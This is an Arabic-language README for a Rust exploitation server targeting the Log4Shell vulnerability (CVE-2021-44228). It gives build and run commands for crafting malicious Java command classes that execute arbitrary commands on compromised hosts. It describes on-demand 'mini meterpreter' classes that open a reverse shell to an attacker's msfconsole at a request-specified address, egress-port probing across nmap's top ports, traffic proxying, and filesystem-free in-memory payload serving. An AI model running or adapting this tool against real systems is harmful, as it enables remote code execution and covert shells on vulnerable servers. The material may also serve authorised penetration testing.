
تنفيذ بلغة Rust لثغرة Log 4 Shell (log 4 j - CVE-2021-44228)
تنفيذ بلغة Rust لثغرة Log 4 Shell (log 4 j - CVE-2021-44228)
للبناء، قم بتشغيل cargo +nightly build
هذا الإصدار يتيح لك بناء أصناف الأوامر، وتقديم خدمة متربريتر مصغّر (mini meterpreter) يعمل داخل سلسلة محادثات (thread) من تطبيق Java المخترَق، ويشغّل خادمي LDAP وHTTP. هذا الإصدار يخدم طلبات LDAP وHTTP من نفس المنفذ.
يمكنك التشغيل على منافذ متعددة في نفس الوقت لمحاولة رؤية المنافذ التي قد تكون متاحة للاتصال الصادر (egress) للجهاز الهدف.
إذا لم يكن الطلب من نوع LDAP أو HTTP، فيمكنه عندها توجيه (proxy) الطلب إلى جهاز آخر، مجددًا عبر نفس المنفذ. إذا كان الجهاز الهدف يملك منفذ اتصال صادر واحد فقط، فيمكنك تقديم LDAP وHTTP واستخدام نفس المنفذ لتوجيه اتصال المتربريتر إلى منفذ محلي آخر أو إلى جهاز آخر.
هذا الإصدار لم يعد يتطلب تثبيت javac. ما زال يسمح بالبناء الديناميكي "للأصناف" لكنه يفعل ذلك عبر تعديل أصناف مُجمّعة مسبقًا ومضمّنة داخل الملف التنفيذي.
هذا الإصدار يضيف أعلى 100 وأعلى 1000 منفذ كما تعرّفها nmap. استخدم الخيارين --pC100 أو --pC1000.
حالة الاستخدام النموذجية هي بناء صنف/أصناف الأوامر ثم تشغيل الخادم.
l4srs build -c Cmd1 -l firefox -w Calc.exe
l4srs build -c TouchMe -l "touch /tmp/me"
يمكنك بعد ذلك طلب Cmd1 وسيؤدي ذلك إلى تشغيل firefox على لينكس وCalc على ويندوز. إذا طلبت TouchMe فسيقوم بتنفيذ /tmp/me على لينكس، وعلى ويندوز لن ينفّذ أي شيء.
يمكنك بعد ذلك تشغيل l4srs run --pC100 لبدء الخادم على
أعلى 100 منفذ، ويمكنه تقديم Cmd1 أو TouchMe.
بالإضافة إلى ذلك، إذا طلبت MM:Host:port فسيقوم ديناميكيًا بإنشاء صنف متربريتر مصغّر سيتصل بالـ host والمنفذ المحددين في الطلب. إذا كان خادم msfconsole يعمل على 10.20.30.40 على المنفذ 4444، يمكنك طلب MM:10.20.30.40:4444 هذا لا يُبنى بأمر build بل يُبنى ديناميكيًا عند الطلب.
هذا الإصدار يتيح بناء وتقديم الأصناف من كاش في الذاكرة (in-memory cache). جميع أصناف MiniMeterpreter الديناميكية لم تعد تلمس نظام الملفات. بالإضافة إلى ذلك، تمت إضافة علامتين جديدتين: الأولى هي --no_fs والتي تضمن أننا لا نقدم أبدًا أي ملفات من نظام الملفات. والأخرى --allow_cmd التي تتيح البناء الديناميكي للأصناف عبر الوصول إلى /build_cmd من أي منفذ مفتوح بطلب POST وجسم JSON يحتوي على الحقول: class_name, l_cmd, w_cmd